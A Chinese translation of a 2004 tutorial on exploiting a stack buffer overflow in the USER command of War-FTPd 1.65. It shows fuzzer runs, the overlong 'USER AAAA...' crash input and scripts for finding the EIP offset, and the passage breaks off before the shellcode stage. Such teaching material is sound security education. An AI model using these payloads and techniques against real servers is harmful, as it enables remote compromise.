首页 网络安全 安全学院 查看内容

Win32 缓冲区溢出实战

2009-4-11 10:21 833 0

摘要: 原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写...
关键词: AAAAAAAAAAAAAAAA 数字 Ftpd fuzzer buffer Ollydbg AAAAAAAAAAAAAAA War 漏洞 EIP

原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写篇关于在Win32下Exploit的文章。一来是因为此类文章中关于*nix 平台比较多,而Win32相对较少;二来是因为在Win32中写exploit有些地方可能困难一点。以下我将用一个具体的简单例子,详细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPdvl.65' 的一个stack缓冲区溢出漏洞。首先,需要准备以下实战工具:python - www.python.orgpyOpenSSL - http://pyopenssl.sourceforge.net/Ollydbg - http://home.t-online.de/Ollydbg/OllyUni by FX of Phenoelit - http://www.phenoelit.deWar-Ftpd version 1.65 by jgaa - http://www.jgaa.comFuzzer vl .0 - http://hack3rs.org/~shadown/Twister/( 译者注)因为pyOpenSSL可以找到针对python 2.2.x的win32编译版,所以python安装2.2.x会比较方便。二、挖掘漏洞能够实时调试在漏洞挖掘过程中,是非常重要的,可以知道究竟发生了什么。下面用Ollydbg打开要调试的程序'War-FTPd vl.65':?运行'Ollydbg'?File->Open (or press F3) (图一)?浏览到安装'War-FTPd vl.65' 的目录然后选择'war-ftpd.exe' file (图二)?Debug->Run (or press F9) (图三)?在War-Ftp 窗口菜单中运行->'Start Service'(图四)启动程序后,可能会有些explaination,按照提示(shift+F7/F8/F9)跳过即可。不管程序是由Ollydbg(其他调试工具也一样) 启动(Open)的,还是附加(attached)方式的,进程都将被调试器挂起,我们需要使程序继续运行。幻影旅团溢出学习材料cloie#www.ph4nt0m.org图一 图三 图四 OK,现在War-FTPd已经运行了,接下来我们用fuzzer来帮助我们挖掘软件漏洞:C:\fuzzer>fuzzer.py###################################### Net-Twister FuzzerModule ## Coded by Sergio 'shadown' Alvarez ######################################Usage: C:\fuzzer\fuzzer.pyprotocols available: smtp, ftp, pop3我们选择FTP模式进行测试:C:\fuzzer>fuzzer.py 192.168.178.129 21 ftp看到以下显示信息:<**> It was suppose to recv something, but recv nothing CHECKIT! <**>或者还有如下信息:<**> Bug found!!! ;))<**> -> Sending: USERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA让我们查看一下Ollydbg底部的状态栏,显示了'Access Violationwhen executing [41414141]..'的信息,右上角窗口显示EIP的值为地址指向41414141,如图五   这就意味着,FTP认证部分的USER命令上存在着缓冲区溢出,超长的字符串覆盖了EIP。接下来我们将不停的尝试调试这个BUG,由于每次调试都可能造成War-Ftpd进程死掉,你可以在中通过'Debug->Restart'来重启进程。三、调试漏洞发现了软件漏洞,我们可以通过覆盖EIP来改变程序原有的运行流程,跳转去运行我们安排的shellcode。为实现这个目的,必须知道两个要素,多长的字符串可以覆盖到EIP,还有就是我们安排的shellcode放在了什么地方。这跟LINUX中很相似,当然,我们也将看到一些Win32特有的部分。正如上面所见,现在覆盖EIP的是41414141,究竟多少长的buffer可以覆盖到内存中的EIP呢?我写了一个简单的脚本'reacheip.py',可以生成都是数字排列的buffer,并且可以通过修改参数来修改数字的排列和长度,方便我们找到需要构建的buffer长度。脚本简单原理如下,这里我们先假设寄存器大小是1byte:a.首先生产如下数字串123456789123456789123456789123456789123456789b.然后我们看到某个数字覆盖了EIP(假设EIP大小是1byte),假设是2,然后我们重新构建数字串,只改变原来数字2所在的位置,其他位置数字忽略或不变。c.现在某个数字又覆盖了EIP,假设是4,这样我们就可以计算出buffer的真实长度,用于写exploit了。(译者注:因为只是简单说明一下脚本的功能,所以这里作者并没有提及这个数字4是排列中第几个4)现实中X86机器中寄存器是4byte的,所以我们将上面的数字串扩展到4个数字相同的排列。实际调试中又发现,有时候并不是刚好相同的4个数字覆盖了EIP,比如是4445,所以我们在buffer的开头加入一个align字符,比如A,将buffer挤动一位,这样覆盖EIP的数字串就是4444了。有了'reacheip.py'脚本的构建buffer功能,还需要有发送和接收功能(网络发送和接收),将'reacheip.py'作为一个'library',重新组合一下得到新脚本'reachwar-ftpd.py',用来专门调试War-Ftpd:简单解释一下这个脚本的参数:C:\fuzzer>reach_war-ftpd.pyUsage: C:\fuzzer>reach_war-ftpd.pyhost: 目标主机的地址port: 目标主机的端口align: 放在数字串之前的填充数据个数(1 - 3)幻影旅团溢出学习材料cloie#www.ph4nt0m.orgtoreach: 在新数字串中需要被替换的数字(1-9)repeat: 构建数字串的个数(指修改重建后的某段数字串)cycles: 第几次替换(1-2)firstreached: 前一次被替换的数字(1-9)下面对War-Ftpd进行实战:首先,最初的数字串为111122223333...类似,重复200次,总数字串个数为4*200=800:C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 0 0 200 1 0220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220Please enter your user name.Buffer size: 800331 User name okay, Need password.这个时候查看Ollydbg,如下图 看到信息显示信息'Access violation when executing [36353535]',覆盖EIP的是数字串是36353535,显然我们需要移动buffer中的数字串,使之覆盖EIP的使数字串35353535。这里显示的HEX十六进制的数字,我们可以从ASCII表中得到每个字母或者数字对应的HEX值,比如'1' = 31, '2' = 32,'3' = 33, '4' = 34, '5' = 35,..., '9' = 39,如果在LINUX系统,可以直接输入命令'man ascii'查看对应表。调整后再测试,这个时候的数字串为A111122223333...:C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 0 200 1 0220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220Please enter your user name.Buffer size: 801331 User name okay, Need password.这个时候查看Ollydbg 看到信息显示信息'Access violation when executing [35353535]',看来数字5是我们需要替换的了,替换之,即原来是5555的地方依次用1111,2222,3333,...替换,其他位置的数字无关紧要会全部用A替换:C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 5 20 1 0220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220Please enter your user name.Buffer size: 737331 User name okay, Need password.Check in Ollydbg!这个时候查看Ollydbg,
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部